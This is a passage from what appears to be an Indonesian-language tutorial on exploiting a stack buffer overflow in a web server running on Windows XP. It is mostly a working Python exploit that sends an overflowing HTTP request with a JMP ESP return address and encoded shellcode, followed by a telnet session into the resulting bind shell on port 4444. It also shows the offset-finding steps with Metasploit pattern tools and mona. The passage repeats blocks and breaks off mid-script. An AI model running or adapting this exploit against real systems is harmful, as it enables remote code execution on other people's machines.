"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
```

```
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.35", 80))
buf = "GET / %s HTTP/1.1\r\nHost:192.168.1.35\r\n\r\n" % (buffer+eip+nop+shellcode)

s.send(buf)
s.close()
```

```
import socket

buffer = "A" * 5438
eip = "\x4A\x75\xD7\x77"
nop = "\x90"*35
shellcode = ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.35", 80))
buf = "GET / %s HTTP/1.1\r\nHost:192.168.1.35\r\n\r\n" % (buffer+eip+nop+shellcode)

s.send(buf)
s.close()
```

```
C:\Python27>
C:\Python27>python fuzz10.py

C:\Python27>telnet 192.168.1.35 4444
```

```
Telnet 192.168.1.35

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\minihttpd>_
```

Jika ingin mencoba keberadaan celah lain misal pada POST.

```
import socket
buffer = "A" * 6000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.35", 80))
buf = "POST / %s HTTP/1.1\r\nHost:192.168.1.31\r\n\r\n" % (buffer)
 s.send(buf)
s.close()
```

Saat di jalankan paket “\x41” yang dikirimkan mengenai EIP

```
C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_create.rb 6000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi
6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B
l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9
Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq
6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B
t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9
Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By
6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C
b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9
Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg
6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C
j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9
Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C
r3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9
Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw
6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2C
z3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9
Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De
```

ruby pattern_create.rb 6000

import socket

buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7
Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6
Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai
6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al
8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao
4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar
2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2
Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9
Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8A
z9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7B
c8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7
Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi
8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0
Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo
7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br
6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6B
u7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4
Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4
Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3C
d4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3C
g4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5

Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5C
m6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3
Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3
Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3C
v4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy
2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1
Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd
9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7D
g8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj
8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6
Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D
p3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds
1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9D
v0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6
Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5
Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5
Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6
Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9E
k0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9E
n0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep
9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0
Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew
1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0
Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1
Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2
Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4F
i5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9F
m0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7F
o8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8F
r9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv
1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0F
y1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0G
b1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd
8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6
Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj
6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4G
m5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0G
p1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8
Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu
7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3
Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1H
a2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9
Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7
Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi
6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl
7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2H
o3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9
Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9"

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.35", 80))
buf = "POST / %s HTTP/1.1\r\nHost:192.168.1.31\r\n\r\n" % (buffer)
 s.send(buf)
s.close()
```

Hasil dari pattern_create.rb dikirimkan ke target dan EIP memberikan nilai 337A732

```
C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_offset.rb 337A4732
5438

C:\Program Files\Rapid7\framework\msf3\tools>
```

Ruby pattern_offset.rb 337A4732

```
245 loops, 23 switches

---------- Mona command started on 2016-09-01 12:41:21 (v2.0, rev 427) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D     - Pointer access level : X
0BADF00D [+] Generating module info table, hang on...
0BADF00D     - Processing modules
0BADF00D     - Done. Let's rock 'n roll.
0BADF00D ----------------------------------------------------------------------------------------------------
0BADF00D  Module info :
0BADF00D ----------------------------------------------------------------------------------------------------
0BADF00D  Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version
0BADF00D ----------------------------------------------------------------------------------------------------
0BADF00D  0x77dd0000 | 0x77e5b000 | 0x0008b000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x71ad0000 | 0x71ad8000 | 0x00008000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77c70000 | 0x77cb0000 | 0x00040000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x71aa0000 | 0x71aa8000 | 0x00008000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77e60000 | 0x77f45000 | 0x000e5000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77c10000 | 0x77c63000 | 0x00053000 | False  | False   | False |  False   | True   | 7.0.260
0BADF00D  0x73000000 | 0x73023000 | 0x00023000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77f50000 | 0x77ff9000 | 0x000a9000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x00400000 | 0x0042c000 | 0x0002c000 | False  | False   | False |  False   | False  | 1.0.0.1
0BADF00D  0x77cc0000 | 0x77d35000 | 0x00075000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x71ab0000 | 0x71ac5000 | 0x00015000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77d40000 | 0x77dcd000 | 0x0008d000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77340000 | 0x773cb000 | 0x0008b000 | False  | False   | False |  False   | True   | 5.82 [C
0BADF00D ----------------------------------------------------------------------------------------------------
0BADF00D
0BADF00D
0BADF00D
         [+] This mona.py action took 0:00:01.102000

!mona modules /mod
```

!mona modules /mod

Pilih view lalu executable modules kemudian pilih USER32.dll

Klik kanan lalu pilih Search for lalu Command

Ketik JMP ESP lalu enter

Hasil dari pencarian JMP ESP

```
import socket

buffer = "A" * 5438
eip = "\x4A\x75\xD7\x77"
